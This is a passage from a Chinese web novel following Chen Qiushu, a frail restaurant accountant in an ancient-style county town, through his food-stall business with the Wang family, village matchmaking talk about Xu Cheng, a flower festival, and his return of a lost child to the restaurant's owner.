早上见过的一小二刚好经过,要去正厅,许橙及时叫住了对方。
“小哥请留步,”
这小二就是早上搬食材的那几人之一,自然也知道这位是他们新来的账房先生的朋友。
友好的和许橙点点头,询问她何事?
许橙: “是这样的,里面的人在忙,还请小哥帮忙告知一下我哪位朋友,我先走了”
陈秋树正忙着,吃饭的人来了一波又一波。
收账的小二忙不过来,他这会儿正在这边帮忙。
“小先生,您那位朋友已经离开了,叫我告知您一声,”说着还朝陈秋树挤眉弄眼
陈秋树“……”
手上动作不停,知道是许橙走了,他朝小二点头,“好,我知道了,”
一天下来,陈秋树适应良好,不过是动动脑子的活计,把今日的盈利和耗损理清楚就可以收拾回家了。
旁边的阿袁拿着块抹布擦桌子,看到陈秋树很快就把账算好了,忍不住夸道
“小先生真是厉害,”
“您是不知道,自前些时候我师傅告了假,可急坏了我,这一天天的忙的我手不得停歇”他自顾自的叭叭个不停。
“就头两天还差点收错了账,”
“您看看,今天那么多人,这要是弄错了,我那点月银都要被扣个干净的”
“还好您今天在这帮我,我就没见过算账像您这样快的”
“要是我那天也如此厉害,我也去当个账房先生,”说着还自我陶醉了起来
陈秋树心里好笑,随口附和了一句“会的,你算盘打得很好”
闻言,阿袁眼睛都亮了,把手底下的桌子擦得蹭光瓦亮。
再说这阿袁的师傅。是玉友楼正厅的管事,平日里除了管理正厅的琐事之外还负责给食客收钱。。
这段时间家里有事告了几日假,就让手底下的徒弟顶上了。今日客人又多,陈秋树见他乱成一团,索性就上去帮忙。
一路上陈秋树紧赶慢赶,总算是赶上了回村的最后一趟牛车,也可能是他一早就和刘叔说了,这边刻意等了他几刻钟
就是来晚了容易没位置,只能挤在最外边的座位上,一个抓不稳就有掉下去的风险。
车上有人见他来,打了个招呼,还有几个熟悉的都往里挤挤,给他留出了个大点的位置。
牛车开始驶向长溪村,都是一个村子的,大家都在你一言我一语的说话。
陈秋树没有加入他们的交谈,而是看着一路倒退的树影。
正发着呆呢,一道耳熟的声音入耳。是那天无意间在杨婶家后院听到过,
9. 撮和
“什么姐姐,那没良心的,心里还有你这个妹妹?,也就是你这丫头片子心好,还记着人家。”
说完还意有所指的撇了女儿身旁的男人一眼。
陈秋树回头看,就见一家三口坐在了他的斜对面。
中间那个女孩莫约十五六岁,穿一身粉色罗裙,头上插着一朵小红花,朱唇粉面,眼尾上挑,是个很漂亮的小姑娘。她嘟着嘴。“都是我爹生的怎么怎么不是我姐姐。”
张翠芬,“你个死丫头懂什么,还有你今天怎么回事,人张姥爷那样的大户人家,叫你陪人小孙子玩玩,,你怎么回事”
许水秀,“我不爱和傻子玩”
张翠芳指了指她的头“你个死脑筋”
许水秀懒得理她娘,朝着陈秋树翻了个大白眼,看什么看,登徒子
…………
陈秋树被身旁的人撞了一下,就是刚刚喊着大家挤挤给他让位置的少年。。也是杨婶的小儿子,杨绍。平日里和陈秋树也有些往来,
“陈秋树,你小子,收一收,看呆了吧!”
陈秋树瑶瑶头:“没有,”说完又回头去看蜿蜒远去的小路。
他只是想到了许橙身上那件灰扑扑,还打了补钉的衣服和短了一截的裤子,还有那个总是装得满满的背篓。这一家三口就是应该就是许橙的爹和他妻子还的女儿吧。
——
此后陈秋树每日就赶着早上的牛车去上工下午赶最后一躺回来。开起来两点一线的生活。
不知不觉就过去了半个多月。
陈秋树对自己古代会计的工作也越来越熟悉,各种账目都能在最快的时间算好,也能好好抽出些时间来张罗他那几亩田地。
刚刚下工回来的陈秋树正站在那块旱地里,两眼迷茫的看着这片开了花的白萝卜,拔了一个看看,老得已经不能再老了。
还有之前杨婶给他的菜种,长得也不好,枯黄枯黄的,一眼看去还没有杂菜来得高!。
陈秋树无声的叹了口气,怪自己没有照顾好它们,这段时间不是在玉友楼吃,就是吃王贵婶送来的菜.。
要不是今天下工早,,想起来自己还种了菜。他都不会踏进这块地。
是什么原因,导致他变飘了?
吃是不能吃了,他只能晚些去杨婶家,让她有时间就拔了回来喂猪喂鸡,就这样扔掉就太可惜了。
到时候自己再抽时间过来除草。
得好好想想种点什么。不让人天天伺候的东西。
这么边想边走就来到了他的李子地,花已经凋谢,光秃秃的枝杆上长满了茂密的绿叶,绿叶间挂着了小小圆圆的青绿色果实。
,陈秋树三两步下了地,给这些密密麻麻的小果子疏果,那些长势不好的或者太密的摘掉,剩下的才能长得更好更甜。
这事儿看着简单,实际上也不难,就是特别耗时间,。他感觉自己摘了好久,额头都起了一层薄汗,回头一看自己只蔬了三颗李子树。
……
天色有些阴沉,天边压着滚滚乌云,像是憋了一场大雨。
他这身子娇贵,可淋不得雨水,只好拍拍身上的脏东西,准备改日再过来。
港从树林里窜出来,就隐隐听见了有人在说话。他这块地的地势比较底,想上去得顺着小路翻过半人高土坎。
陈秋一上来就看见杨婶蹲在地里,手上拿着个小锄头不知道在挖什么。
正想上前去打个招呼,就听见了对面好像是在说自己的名字。
好奇心害死猫,陈秋树退后了两步。
杨婶抖了抖野葱上的泥土,放进菜篮里才说:“我看你呀!,也就是倔,陈家小子有什么不好,,长得又俊”
许橙一边小心的整理手里的葱一边说,“杨婶,您就别操心了,我们不合适”
陈秋树:”……“刚才他没看见,原来杨婶身后还蹲了个许橙
……
杨婶 “那里不合适了,依我看合适得很,你瞧瞧他那地,要是你和他成了亲,能让那草长得那样好,”
“婶子还是想劝你一回”
杨婶把满出篮子的菜往下压了压,转个身面对许橙,继续说“你看看你,现在这样,一个人可怎么好过,都是柳家那个小畜生害的,”
说着说着又忍不住骂起了柳明生一家,手上的动作都重了几分。
许橙并不想再提,出言打断道,“我跟他已经没有关系了,”
杨婶转而又言,“陈家这孩子,我知道,是个知冷知热的,就是家里遭了难,身子骨弱,想讨个媳妇也难”
陈秋树:……
杨婶:“你要是和他成了亲,没有公婆伺候,嫁进去就自己当家做主”
“再好好操持操持田地,又有那么大个屋子,想必日子定是好过的”
“到时候,你在早早的生个孩子。”
“我说句不好听的,就算是陈家小子有个啥意外,你有孩子傍身,还怕他那些劳什子亲戚”
“要是他能平平安安,也未必不是一个良配,
“我可听说了,他最近在县城找了活计,”
“你要是有想法,就抓紧点,不要等人以后出息了,那眼光可就不一样了”
杨婶一口气说个不停,压根不给许橙反驳的机会。
陈秋树:谢谢,但是我听不下去了!
陈秋树手抵在下唇,轻轻的假咳了几声,脚踩到地上的枯叶发出轻响。
听见动静的两人蓦然回头,还想要说点什么的杨婶忽然间哑了声音。
空气突然安静。
许橙匆忙低下了头,闭了闭眼,恨不得立马挖个坑跳下去,干坏事被抓包的羞耻感让心脏在胸腔里砰砰直跳。
陈秋树也尴尬得脚趾抓底,本来想从别的路绕回去,但是这里四面环山,这是必经之路。
他假装冷静的打了个招呼,“好巧”
……
好像更尴了
陈秋树打着哈哈“杨婶子,我刚好有事要同您说”
杨婶也也不好意思,作为长辈,她刚刚还说人家坏话来着,也不知道陈秋树有没有听见。
她又摆出平日里善解人意的模样“嗳~秋树今天回来得早?,”。
“啥事?你说”
几句话的时间,陈秋树也过了那股尴尬劲,把地里面那些长得太老的白萝卜说给了杨婶听,,叫她有空就去拔了喂鸡。
等陈秋树离
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开了,杨婶还盯着他的背影看了好久
至于许橙,她还埋着头继续当鸵鸟。一言不发。
杨婶感慨“我就说这陈家小子是个有气量的”
“橙子,我真觉得……”
“婶子,您就别觉得了”许橙真不敢让她再说下去,这要是再被别人再听见了,可还得了!
她就是跳了河也说不清
自己的名声都坏得差不多了,她不想在整出什么妖蛾子来,更是不要影响了陈秋树。
许橙知道杨婶是为她好,所以她说什么自己都听着。
但是和陈秋树?
许橙大这胆子试想了一下。真的不行。
他是玉友楼的账房先生,是个聪明心细之人。
并非如同村里人所说,是个落魄的病秧子。配得上富裕人家的姑娘小姐。
而许橙。
她现在只想好好赚钱给自己挣个几亩地。
至于找个婆家。
不知不识的人如何可靠?
日子过得飞快不知不觉就到了五月。
人间最美五月天,是个花开的季节。再过几日,到了五月十五,平阳县会有一个大型的赏花会。
这两天玉友楼一下买进了许多新鲜瓜果菜品,连菜单都加了不少。
吴掌柜严着一张脸通知大家。“没有急事都不许告假!,”。
因为这一个多月陈秋树的作的账本,没有出现纰漏,吴掌柜对陈秋树相当客气,,和他说话就来就了一场当众变脸,变得和颜悦色,平易近人起来。
因此陈秋树也从吴掌柜那里获得了更多赏花会的信息。没办法,虽然同样都是土生土长的本地人,但谁让他是个病秧子,日子过得如同家中闺秀。……。
平阳县东街街头有一片月季花,听说都是名贵品种。每年花开的时候,不少四面八方的官家贵人和富商子弟都会过来游玩赏花。
平阳县这些开酒楼食肆的还不得开门迎客?
更何况是玉友楼,生意一直是平阳县最好的!更得准备妥当了,。当然它的味道毋庸置疑。
陈秋树也是近来才知道,玉友楼是知名连锁店,各大,县,郡,洲,乃至上京都有分店。
还得道玉友楼的东家是个厉害人物。才得以让玉友楼在平阳县一家独大,无人敢惹。
对于这种难得的大型活动,陈秋树自然也有自己的计划。
下了工回到长溪村就去王家商量上了。开启了东市买骏马,西市买鞍南的一系列操作,
王贵从村子里的人家买了不少芋头,韭菜,包菜,猪肉,这些都可以。又去杨家定下了几板豆腐,豆腐得当天要去拿现做的,不然天气热了容易坏。
另外陈秋树还把家里的那一筐红薯也贡献出来了。
比起红薯,他更爱吃大米饭,肉和时令蔬菜。
还有一个个原因,是因为现在他有钱了!,。
如今王家父子出摊已经是得心应手,偶尔王贵要干田的活计,王旭也能自己去。平均下来每日除掉成本,都有近三百文钱。陈秋树可以拿个七八十文,再加了玉友楼的五两月银,。
对于不追求奢靡生活的陈秋树来说,现在的日子滋润得很。
10. 赏花节
几天时间转瞬即逝,很快就到了五月十五,
,街上各式各样的马车越来越多,平阳县比起平日要更为热闹。
人们常说:唯有此花开不厌,一年长占四时春。说的就是月季花,这样娇艳迷人的花,它的美丽不会轻易结束。
平阳县东边街头有坐不高不矮的山坡,哪里有一大片一大片的月季和一些叫不来名字的花朵
在这阳光温和而明媚的五月天,,这片花海开得最为灿烂。把整片土地都染上了缤纷的色彩.。
玉友楼的张管事已经告假回来,陈秋树就不需要再去忙着收钱.。
该采买的东西早就松来。陈秋树破例告了半日的假,下午去把昨日的账做好便可,
此时街头上已经摆上了许多大大小小的摊子。
陈秋树和王家父子也在其中,天不亮就来这里占了个还算不错置。
日头高胜,晒干了清晨的水气,,街上的人也越来越多,一辆辆精致马车朝这边驶来,
今天准备的东西比平时多上好几倍,陈秋树把芋头丸子和红薯都是提前先炸好一部分,有人来买就下锅复炸一遍。不然来不及,别人也不愿多等。
反正人多卖得快,口感上基本不会有什么影响。
红薯是直接切滚刀块下锅炸,现在的人大多喜甜,出锅装好,再淋上一勺蜂蜜,香甜可口。不少孩子都爱这一口。
他还是准备两口锅,一口炸芋头和红薯,这两样都是出锅调味,味道上互不相干。
铁板豆腐就需要单独一口锅,王旭手艺不错,就负责煎豆腐。
人一多起来,连招揽客人都不需要,,很多人见了新鲜东西,不管好不好吃都想买点过来尝尝。反正不过是出来玩,当然不会在意花点钱。
王家父子两人一人一口锅,陈秋树在旁边帮着打打杂,拿递东西。
许橙也在旁边摆了个摊位,比起王家的杂七杂八的锅碗瓢盆,她的东西要简单得多,一个半人高的木架,上面挂着琳琅满目的香囊,绣帕,,还有几个做得精致的团扇
她的绣活不错,又卖得比铺子里的便宜。不少姑娘都围着旁边挑选。
自从许橙被张子安抢过一次后,再没敢独自去西街卖竹笋。
机缘巧合之下她,把竹笋卖给了玉友楼。也省了一件大事。
后来王婶得知此事,就交代她以后要是出来卖东西,就把摊子摆在王贵叔家摊子周围,这样也好有个看顾。
人多起来也没时间闲聊,两个摊子各忙各的,。
一时间过得飞快,陈秋树的肚子发出了抗议的咕咕声。
见两人能忙得开,就抽了个时间去饭馆卖了几份肉丝炒饭。回来,先递了一份给许橙,说了句,先吃饭吧。
许橙不好意思的接过,又从口袋里拿出了二十文钱递给陈秋树,心里忐忑,也不知道够不够这肉炒的饭。
见到许橙递过来钱,陈秋树起先还愣了一下,随即嘴角上扬,轻笑出声。
他接过铜板,数了八个还回去,“只需要十二文,”。
说完就继续去给王家父子分饭去了,只是脸上还没下去的笑容不禁又扩大一些。
王旭见他笑得如此开心,调侃,“秋树哥有啥好事?”
刚刚有客人买东西,所以王旭并不知他是因何而笑。
陈秋树摸摸脸,,摇摇头,表示自己没笑。
他只是觉得许橙真真是个独立又坚韧的姑娘。
三人换着吃完饭,陈秋树就回了玉友楼。
从昨天开始玉友楼就忙碌得不行
此时茶房,正厅和二楼的雅间都坐满了人,后厨的人各各忙的脚不离地。
过来住店的客人差点面把房间都住满,后院马厩里还养着几匹带来的悍马。
陈秋树也没闲着,开始整理各各管事送来的账本和昨日收的银子,说是账本,其实就是记录下了一天的盈利耗损,至于其他的开支采买,都要先来陈秋树这里拿钱。
她天月底再把重新整理好的账本交给吴掌柜,后面的事就不需要他操心了。
————
五月已经算是初夏,白日的时间长,陈秋树回到家里,还有不少时间可以去看看他那块李子树,
小小的青果已经长得有鹌鹑蛋那么大,青绿色的外皮已经开始泛起了一点点的黄色。
在过一段时间就要成熟了。得打算打算怎么卖出去
回去时,远远的就看见王贵带着两个孩子站在陈家大门口,
平日沉默寡言的的王贵,此时脸挂着笑意,看着小女儿和小儿子在身旁嬉闹,。
家里最近有了银钱,王小妮和王冬冬都穿了一身崭新的衣裳。
陈秋树快步上前,笑着和他们打了个招呼。刚刚开门,就被两个小孩围着走进院子。
看见陈秋树要去拿水壶倒水。
王贵及时拦住了他,“少爷,不要麻烦,家你还有事要忙,我就是过来给您送钱,马上就得回去”
王贵摆着手,从怀里拿出了一个布袋,“今天早上带去的东西全部都卖完了,吃了饭还叫你婶子送个一趟东西,都卖完了,”。黝黑的脸色是藏不住的喜色
“得了四两余二百文钱,去掉买东西的八百文,还剩三两余四百文”。王贵在家里就琢磨清楚了,这会儿说出来,都不打一个磕巴。
说完他就把其中的一两给了陈秋树。
剩下今天还赚了二两多银子,王贵拿着剩下的银子,感觉手里沉甸甸的,一股子干劲忽然涌上心头。可以的话,他想连夜摆摊。
忽然又想起了,赏花节有五天!,
顿时感觉自己轻飘飘,就算生意不会如今天在这般好,应该也不会差到哪里去。
和陈秋树闲聊了几句就匆匆忙忙回家了,他还要准备明天要卖的东西。
对于陈秋树这个股东来说,他表示很欣慰,他也祝愿王家能够好好的。
只是对于王贵喊他“少爷”的称呼,陈秋树感觉很是头疼,就是那种,“我知道,我不改,”的头疼,毫无办法。
接下来的几天,王贵带着王旭,附加一个许橙,日日早出晚归,还花十几文钱,把锅灶寄放
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在了一个小茶坊。省得每天大包小包的拿过来又拿回去。
陈秋树除了第一天跟着去了一上午以外,其他日子只有每天偶尔抽空去看看。
他最近忙得很,因为玉友楼的东家近日要到平阳县,陈秋树需要提前把账册弄好,甚至还要把以前的也要拿出来看看。有没有出什么纰漏。
因为赏花节的原因,各地方来来往往的人很多,平日里不让小贩摆摊的东街,此时街道两边也支起来了很多摊位,大多都是些玩的,风筝,花簪,荷包香囊。有几处特别的是,几家铺子也在自家门口支了摊子,摆了许多各式各样的木雕小玩意儿。
陈秋树一路都觉得新奇,第一次觉得原来古代还有这么多稀奇古怪的小东西。
铺子门口挤了好些人,陈秋不打算进去看,凭着身高优势,隔着几个人头往里面瞟瞟,一眼就看见了一组十二生肖的木雕,惟妙惟肖,各各都做得很精巧,半个巴掌那么大一个。
……心动!
但是不打算买,不管什么时候,工艺品始终都是贵的,。他就是图个新鲜看看罢了,
刚转身准备离开,隔壁铺子门口的人群忽然散开,一个小小的身影跌跌撞撞朝他扑倒过来。
陈秋树本能的接了一下,没让人摔在地上。
等人站稳了他才看清楚身前的孩子
一个六七岁,脸上还带着婴儿肥的男孩,身穿杏色团花锦衣,腰间挂着枚羊脂玉佩,又不知道是那家的小公子。
小小的一团就站在陈秋树身前,低着头一动不动,也不说话,两只胖胖的小手紧紧的捂着手里的东西。
“,公子,这是你家孩子?”,这家铺子的掌柜随后走了出来,身边还跟了好几个家丁。
陈秋树看这架势没有说话。
掌柜目光落在两人身上,。在心里猜想两人都关系,
虽然这少年郎穿着普通的棉布衣衫,但是皮肤白皙,儒雅清俊,一身的书卷气息,。再看着孩子,身上穿的是上好的料子。,定然是那家的两位公子。
掌柜的开门做生意,自然是以笑脸示人。
“看看,人多眼杂,怎么能让孩子一个人乱跑”
“还好我这儿看着了,没出什么大事”
掌柜自认为已经猜到了两人都身份,爽朗的笑了几声。
对着围观的群众说“误会,都是误会,大家继续,今儿个,我们木匠师傅又雕了许多新鲜花样,大伙儿的进店瞧瞧!”
听他这么说,自觉没热闹看的群众一股脑的都朝铺子里去了。
陈秋树打算先带这小孩离开这里,过后再问问情况,“多谢掌柜,在下家中还有事,下次再来贵店,”,说完拱手做了个揖,“先告辞。”
“等等!”
掌柜恰似为难的指了指小孩捂着的双手“你有所不知,你家孩子看中了咱们店里的东西。”
,掌柜的挺了挺圆滚滚的肚子,语气自豪,“是一个由黄檀木制成的九连环,乃是平阳县最好的木匠制作而成”
说完,举起来两根手指,“只需二十五两银子”
11. 小孩
陈秋树:……
陈秋树蹲下身,试图和孩子沟通,让他把东西还给人家,乱拿别人东西是不对的。。
…………
一刻钟后,沟通无果。这孩子,一动不动一言不发。
他在心里反复思考了几息时间,语气淡淡开口“他不是我家孩子,”
说着还和小孩拉开了些距离。
掌柜,:……,不是,有毛病吧?
掌柜的脸色肉眼可见的垮了下来,他上前几步推开了陈秋树“
“不是你家的,你瞎凑什么热闹?”
陈秋树:穷人不配逞英雄。
掌柜笑眯眯的蹲着小孩身前,活像一个拐卖儿童的人贩子。
“小朋友,你喜欢这个吗?”掌柜看看男孩怀里的东西,“你先把它放在这里,回家叫你家大人过来买,可以吗,”,语气温和,要是换做别的孩子,估计早就乖乖听话了。
奈何这孩子就像听不见一样,旁若无人的站着。
掌柜也不笑了,给旁边的几个家钉使了使眼色。
两三个人就要强行从小孩怀里拿东西。
几人刚触碰小孩的手臂,刚刚还一副神游天外的孩子仿佛回神一般,捂着东西,弓着腰,刺耳的尖叫划破天际。
“啊————”
陈秋树揉了揉耳朵。
几个小斯也吓傻了,一时间都没敢再上手。
陈秋树上前把小男孩拉到的身后。
掌柜叉着腰,恼怒的抓了抓头发,这可咋办,他又不甘心的问了问周围的人,“知不知道这是谁家孩子,”
人群“不知道,没见过……”
其实从这孩子拿了东西就跑的时候,他们就抢过一次了,没抢到,铺子里人多,明面儿又不敢来硬的。
陈秋树在心里叹了口气,从怀里摸出了荷包。
见状,掌柜的眼睛都亮了,他就说嘛?这两人哪怕不是亲兄弟也得多少沾点亲戚关系。
“只有八两,”陈秋树忍痛把钱袋递了过去。
“……”
“小兄弟,这不够啊,木材都不止这个价”掌柜的拿着荷包,一脸吃了大黄的样子。
“那怎么办,要不你去找孩子的家长要”
这句话说完,两人同时灵光一动,看向对方。
可不是吗?,这孩子丢了,家里头可不就急坏了了。
掌柜立刻让家丁外边散布,说铺子里捡到了一个和父母走散的孩子。
陈秋树原本打算回长溪村的。但是他不放心,索性留了下来,打算今晚就在玉友楼凑合一晚。
为了防止有心人借此机会骗孩子,他把小孩藏到了铺子的后院,仔仔细细的观察孩子身上的特点,毕竟防人之心不可无。
最后明显是陈秋树多虑了,一盏茶的功夫寻孩子的就来了
来人一身月白锦袍,是个玉树临风的偏偏贵公子。满脸的焦急之色溢于言表
陈秋树暗暗打量此人,像,实在是太像了
除了没有婴儿肥简直就是刚刚哪个孩子的放大版。
心里虽然已经确定两人是父子无疑。
但是流程还是要走的。
他轻咳了几声,把准备好的一篓子问题一一问出。
“孩子叫什么名字”
“谢叶初”
“穿什么衣服”
“杏色衣袍”
…………
男主起先对答如流,后面似乎嫌弃陈秋树啰啰嗦嗦越说越多。
便直接扯下了腰间的玉佩递给了陈秋树。
陈秋树接过玉佩,两面看了看,说了句“请稍候”
来到后院陈秋树把手上的玉佩和小孩腰间的凑在一块儿看了看,果然是一对。
他把人抱到正院,看到月白身影,一直不肯说话的孩子,才终于开口,“小舅舅”
听见软糯的声音,男子眼里的焦急瞬间转为担忧与自责。
接过孩子,轻轻拍了拍他的后背安抚。
小孩也举着小手去搂男人的脖颈。一直护在怀里的九连环险些掉了下来,被眼疾手快的男人单手接住。
“这是?九连环?”
这时,一直在旁边装鹌鹑的掌柜立刻站了出来,“这是小店里的木雕,孩子喜欢,一直抱抱怀里呢,”
闻言,男子朝着身后的一群护卫小斯说了句,“吉祥”
一名哭得两眼通红的小斯上前来,和掌柜到一边说话去了。
陈秋树还在看他俩,原来是外甥真的像舅舅?
男子的情绪已经从自责恢复了平静,看了看陈秋树,知道今日孩子能平平安安,是得这位后生的相助,开口言谢
“今日之事多谢兄台相救,”
陈秋树立马回神,“不言谢,孩子无事便好,”
男子笑笑,“应该多谢的”
就见后面的小斯拿了一个做工精细的荷包过来,
。
陈秋树在玉友楼做了这么些时间的账房先生,对银子的重量心里也有个一二三
颠了颠手里的荷包,估计得有个一百来两。
他反手就荷包揣进了小斯的怀里,“不可,举手之劳,不足挂齿,”
小斯拿着钱袋,收也不是,递也不是,转头看向了自家少爷。
男子语气平平,声音里带着不可抗拒的气势“,要的不然岂不是要让好人寒心”
小斯举着钱袋没有收回去的意思。
陈秋树自认为是个君子,只拿自己应得之财。接过钱袋,取出了一锭十两的银子,剩下的全部还给了小斯。
“这个足够了”
男子也不再劝他收下。怀里的小外甥已经在趴在肩膀上睡着,
“倒是还要让我欠个人情,
“兄台以后若有难为之事,可到玉友楼寻吴掌柜帮扶一二”
等到人走远,陈秋树都才从刚刚听到的话里反应过来。
脑海里反反复复播放刚刚听到的那句话,,什么帮扶一二?谁?
陈秋树也不留在这里干站着,,和笑眯眯送客回来的掌柜迎面撞了个正着。
这又让陈秋树想起了一件事,朝着身宽体胖的掌柜伸出了五指。“拿来”
“谁稀罕”
说着丢给陈秋树一个荷包,是他的那八两银子。
……
————
第二天清早,昨夜陈秋树后半夜几乎没怎么睡着,玉友楼给他安排的房间里只有一张软塌,睡在上面手脚都不敢伸太开,这会儿只觉得腰酸背痛,再加上昨没有喝要。忍不住一直断断续续咳嗽,
路过的小二个个问他是不是染了风寒,这天气一会一个样,可不要注意着身体。
陈秋树有气无力的拿着整理好的一摞册子去找吴掌柜。
前段时间他还感觉自己身体倍儿棒,吃嘛嘛香。<
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p>原来都是他的错觉,他还是那个一不小心就要嘎掉的病秧子。
吴掌柜见他脸色不好,给他泡了杯红糖枸杞茶,。“在这里等等,东家还没到,估计是路上耽搁了,”
陈秋树点点头,压根没听清吴掌柜的声音。喝了这碗枸杞茶,才感觉舒服了一点。
吴掌柜又叫小斯拿了了几个包子,邀陈秋树一同吃了个早食。
两人又东拉西扯的聊了一会天,一名小斯走了进来,附在吴掌柜耳边不知说了什么。。
吴掌柜带着陈秋树一路来到了三楼的雅阁。
雅阁的软榻上一个干干净净的孩子,安静的鼓捣手里的九连环。
打开的雕花窗户刚好可以一览热闹的街景。
谢为迁坐在窗边的矮桌前煮茶,是今年刚采的新茶,香气四溢,
听到有人过来的声音,他的视线刚好和踏进房间的陈秋树对个正着,
谢为迁:真是好巧?
陈秋树:可不是吗?昨儿刚见过。
吴掌柜看出两人的异样,“东家认识陈小哥?”
谢为迁抿了口茶“有过一面之缘”
“二位请坐,尝尝新采回来的露牙”
茶汤入口,香而韵强,这是陈秋树唯一能想到的形容词。
“兄台就是我们账房新来的小先生”
“在下姓陈,名秋树,秋日的秋,树木的树,东家叫在下秋树便可”
陈秋树算账这一块让吴掌柜省了不少心,也不吝啬替他美言几句
“自从陈小哥来了,咱们这里的精简了不少,那些条条框框算得又快又好,一目了然”吴掌柜说着还拍了拍陈秋树肩头,。
陈秋树这会儿虚的很,差点没给他拍到地上去。
“是吗?”谢为迁生来就是人中龙凤,语气有种淡淡的强硬感。
陈秋树把放在桌前的账册递给谢为迁。
看着他不急不忙的慢慢翻看。
“倒是做得一手好账”
陈秋树……这话听着怪怪的。
谢为迁又问了吴掌柜玉友楼的一些事。就让他先去忙了。
等吴掌柜离开,谢为迁才去将软榻上的孩子抱过来。
温声细语的说“叶初,你还记得这个叔叔吗?”
……
谢叶初仿佛没有听见,旁若无人的把玩手里的木雕
从昨日起,陈秋树就感觉这孩子不对劲,太安静了,他就像沉浸在自己的的世界里了一样,外界的任何因素都打扰不到他,,有点像是,现在自闭症
谢为迁叹了口气。“昨日之事,谢某谢过兄台,救了我家叶初”
陈秋树笑笑,没有回答这个问题,而是把自己的想法说出了出来
“东家是否想过给他养只小动物”
谢为谦没说话,看见陈秋树脸色不好,便给他放了半日假。
——
带薪修假的陈秋树早早就回来长溪村,美美的睡了个午觉。
醒来时感觉神清气顺。
果然是金窝银窝不如自己的狗窝。还是自己家睡得舒服。
正想着晚上吃点什么吗,王旭就上门了。
赏花节已经接近尾声,连着两日王家人都是上午出摊,下午回来准备第二日用的食材。
王婶子今日去早市买了些菜,叫陈秋树过去一道吃晚饭。
他只差拍手叫好。麻利的和王旭一起过去了。
12. 第 12 章误会
王家的屋子在山脚下,,不久前刚下过一场大雨,林子里灌木长得郁郁葱葱。
王旭半道上说要先去给他爹背柴火,上山去了。
陈秋树推开王家院门,入目就是一群叽叽喳喳小鸡仔,王小妮和王东东正拿着一小碗糙米追着喂,连有人进门都不曾注意。
直到他蹲下身把一只嫩黄小鸡捧在手里。
两个小孩惊喜的喊道“秋树大哥”
陈秋树腾出一只手来挨个摸摸头,夸他们乖。
近来许是营养跟得上,两个孩子的小脸圆润了不少。
王冬冬:“秋树大哥,你看这小鸡,我爹昨天买回来的,我跟姐姐天天捉蚯蚓给它们吃,就等过年长大,杀了过年”
陈秋树“……”
别说,这鸡仔子还挺喜人,圆圆的身体上长着个尖尖的红嘴巴。比旁边那只不和群的老母鸡可爱多了。
这只应该就是这家里唯一一只下蛋母鸡,地位高得很。
王婶在灶房里头,听见外面的动静,出来打了个招呼
“秋树来了,先坐着,饭马上就做好了”说完,又手忙脚乱的去倒水。
见状陈秋树急忙上前“婶子,我自己来就行,您快别忙活了”
他自顾自走到堂前的桌上倒了杯水,天气热,喝点凉水不要紧,只要不是生水就行。
一杯水解了渴,还没放下杯子,就见许橙端着一碗菜走了进来。
仿佛石子坠入湖面,他的心里猛的漏掉一拍,。
许橙今日没有出摊,下午和王婶一起也去看了月季。花很香,也很漂亮。
换掉那身灰扑扑的粗布衣衫。穿了一身水蓝色衣裙,整个人都变得鲜亮起来,一头青丝梳成女儿家的发髻,皮肤白皙,双眼明亮有神,像是破土而出的小草,朝气蓬勃。
走动间,窈窕玲珑的身段更加凸显少女的美好。
陈秋树感觉气血上涌,心虚的别过了脸,。
此番想法非君子所为,打住!。
许橙把蒸好的咸肉放在桌上,见到陈秋树一脸拧巴别扭的模样,只以为他是饿了.。
许橙:“还有两道菜,马上就吃饭”
陈秋树:“不急,慢慢来,时辰还早”
很快饭菜上桌,一碗竹笋蒸腊肉,一碗豆腐白菜,一个酱焖鱼,一个炒萝卜,一碗肉丝白菜汤,
可以说很丰富了,按照以往,王家过年都不敢这么吃,可见现在日子好了不少。
饭桌上气氛很放松,大家有说有笑,说着家长里短的趣事,。陈秋树体会到了久违的温馨的滋味。
许橙也是难得的高兴,没控制住。一口气干了三大碗饭才停下来。
陈秋树还惊于她的胃口真好。
又看看她的细胳膊细腿,想起她是一个人住,也没个人看顾,是不是中午在家没吃饱……是不是顿顿都吃炖竹笋……。
——
饭后王婶煮了一壶婆婆丁水给大家喝,说是天热,喝了降火。
陈秋树珉了一口,又苦又涩像他喝的中药,好难喝!,默默的把杯放在了桌子上。
倒是许橙面不改色一口气喝完又去续了一碗
几人聊着聊着,就聊到了这几日摆摊的事情。
许橙知道,王家的摊子有陈秋树的一份。自己不好再继续多听,随便找了借口回去了,。
已经入夜,她又是一个姑娘独住,即使两家隔的不远,王婶还是不放心追出去送她回家才安心。
王贵喝了点酒,一改平时老实巴交的性子,一直兴致勃勃的和陈秋树说话,那天那日又赚了多少钱,一会又说给家里买了这,买了那。
陈秋树没有喝酒,也没有打岔,做了一个合格的聆听者。
摊子赚了多少钱,陈秋树自然是知道的,。
这七天一共赚了二十两多两银子,他拿了五两多。顶一个月的月银。
而王家就更开心了,扯了布一人做了一套新衣裳,家里添置了一群小鸡仔。两个孩子宝贝得不行,成天儿到处抓蚯蚓捉虫给它们吃。
————
陈秋树从王家回来那晚就不太舒服,应许是头天晚上在玉友楼歇了一晚,受了凉。接着就生了几天小病,咳嗽得厉害,。吃了好几副药,才好受了点。这病只能温养。
连接告了好几日假,他穿回到了玉友楼上工。
谢为迁已经带着谢叶初回了上京。走之前还给陈秋树留下了一个好消息。
吴掌柜看见他,就喜气洋洋的迎了上来
“小先生做的账本精简明了,当真给我们省了不少心,东家吩咐下来了,咱们这儿表现好的都通通有赏”
吴掌柜笑眯眯的说,连看他的眼神都多了几分亲切。
然后陈秋树得知自己的月银涨到了六两一月。
高兴得一口气把这几天堆积的事情全部做完。
这可太值得高兴了,整整多了一两银子,而且每月都有。
他决定今晚就去买个猪蹄的改善一下伙食,天天吃药,嘴巴里没个滋味。
到了下值的时间,陈秋树直接奔着去了肉市。
他口味偏清淡,,偶尔自己做饭,多半是煨些温补的汤。
今天他想做个辣卤煮蹄子,去去嘴里药汁留下的苦涩味。
时辰已到了收摊的点儿,大部分肉都卖完了,还有几个猪前蹄。前蹄没什么肉,又炼不出油来,现在大多数人都缺油水,不爱买带骨头的肉,毕竟骨头又不能嚼碎了吞下去。
就是富贵人家爱吃,也会选择味道更加鲜美的排骨。
他花了二十文钱买了两个猪前蹄,这卤出来就是满满的胶原蛋白。
又去铺子里买了调味料。味道好不好,就看卤料配得好不好。
买了想要的东西,他就打算去城门口找刘叔回家
已是五月二十几,过了赏花节,长溪村家家户户就要开始移栽秧苗。这可是大事,有的人家甚至还要先去寺庙上束香才肯下田,祈祷今年能风飘雨顺
